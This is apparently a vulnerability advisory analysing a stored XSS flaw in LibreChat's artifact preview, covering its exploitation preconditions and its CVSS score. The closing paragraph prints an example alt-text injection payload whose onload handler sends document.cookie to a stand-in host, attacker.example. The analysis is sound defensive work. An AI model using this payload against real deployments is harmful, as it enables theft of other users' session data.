LibreChat CVE-2026-54025

Exploitation requires two conditions to be simultaneously true: (1) the attacker must hold at least a low-privilege authenticated account on the target LibreChat instance, enabling them to submit markdown content containing crafted image alt text; and (2) a victim user must open or render the artifact preview pane that triggers the generateMarkdownHtml function with the malicious markdown. The vulnerable code path is only reached when LibreChat's custom image renderer returns false for a URL passing the isSafeUrl allowlist, causing fallback to the marked built-in renderer - meaning the image URL itself must satisfy the safe URL check for the exploit to trigger the fallback. Exploitation is limited to multi-user LibreChat deployments; a single-user self-hosted instance where the owner is both attacker and victim carries no meaningful risk. The Sandpack preview iframe must be active and rendered in the victim's browser for the innerHTML sink assignment to execute the payload.

The NVD CVSS score of 5.4 (Medium) with vector CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N accurately captures the realistic risk profile. PR:L confirms authentication is required to submit malicious content, and UI:R confirms a victim must actively view the rendered artifact - both are meaningful friction points that reduce opportunistic exploitation. The Scope:Changed metric elevates the rating above a purely contained XSS, reflecting that the payload crosses into the iframe context. EPSS data is not provided in the source intelligence, but the authenticated requirement and user-interaction dependency lower the probability of widespread automated exploitation. No CISA KEV listing and no referenced POC further support a lower operational urgency for most organizations. However, for LibreChat deployments shared among multiple users (team or enterprise instances), the risk is materially higher - an authenticated insider or compromised account can target other users browsing artifact previews. The C:L/I:L impact ratings indicate the attacker can steal session data or manipulate the victim's interface state but cannot directly escalate to full system compromise via this vector alone.

An authenticated LibreChat user crafts a message containing a markdown image with an alt attribute payload such as !" onload="fetch('https://attacker.example/steal?c='+document.cookie). When another user on the same instance opens the artifact preview pane for that message, the marked fallback renderer writes the unescaped alt text into the HTML attribute without sanitization, the onload event fires inside the Sandpack iframe, and the attacker's JavaScript executes in the victim's browser context. No public proof-of-concept has been referenced in available intelligence, but the attack mechanics are straightforward for anyone familiar with HTML attribute injection.